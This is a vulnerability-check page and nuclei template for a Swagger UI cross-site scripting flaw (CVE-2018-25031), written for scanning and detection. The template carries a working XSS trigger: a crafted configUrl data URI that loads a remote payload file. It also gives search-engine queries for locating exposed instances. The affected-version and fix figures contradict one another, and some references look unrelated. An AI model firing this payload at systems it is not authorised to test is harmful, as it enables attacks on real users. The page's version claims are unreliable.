Swagger UI < 3.38.0 - Cross-Site Scripting

mediumseverity

4.3CVSS score

42.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Swagger UI before 4.1.3 could allow a remote attacker to conduct spoofing attacks. By persuading a victim to open a crafted URL, an attacker could exploit this vulnerability to display remote OpenAPI definitions.

Impact

Attackers can trick users into viewing malicious OpenAPI definitions, potentially leading to information disclosure or further attacks.

Fix

Update to the latest version of the Swagger UI (^4.13.0 or higher) to mitigate the vulnerability.

How to confirm it

Positive when: swagger_dom == true AND contains "swagger"

Run it with nuclei: nuclei -id CVE-2018-25031 -u <target>

The full check

id: CVE-2018-25031

info:
  name: Swagger UI < 3.38.0 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    Swagger UI before 4.1.3 could allow a remote attacker to conduct spoofing attacks. By persuading a victim to open a crafted URL, an attacker could exploit this vulnerability to display remote OpenAPI definitions.
  impact: |
    Attackers can trick users into viewing malicious OpenAPI definitions, potentially leading to information disclosure or further attacks.
  remediation: |
    Update to the latest version of the Swagger UI (^4.13.0 or higher) to mitigate the vulnerability.
  reference:
    - https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-25031
    - https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3506
    - https://github.com/swagger-api/swagger-ui/issues/4872
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2018-25031
    cwe-id: CWE-20
    epss-score: 0.42326
    epss-percentile: 0.98713
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: smartbear
    product: swagger_ui
    shodan-query:
      - http.component:"Swagger"
      - http.component:"swagger"
      - http.favicon.hash:"-1180440057"
    fofa-query: icon_hash="-1180440057"
  tags: headless,cve,cve2018,swagger,xss,smartbear,vuln

headless:
  - steps:
      - args:
          url: '{{BaseURL}}/index.html?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Byb2plY3RkaXNjb3ZlcnkvbnVjbGVpLXRlbXBsYXRlcy9tYWluL2hlbHBlcnMvcGF5bG9hZHMvc3dhZ2dlci1wYXlsb2FkIgp9'
        action: navigate

      - action: waitdialog
        name: swagger_dom

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - swagger_dom == true

      - type: word
        part: body
        words:
          - "swagger"
        case-insensitive: true

References

Use this check only on systems you are authorised to test. Where the data comes from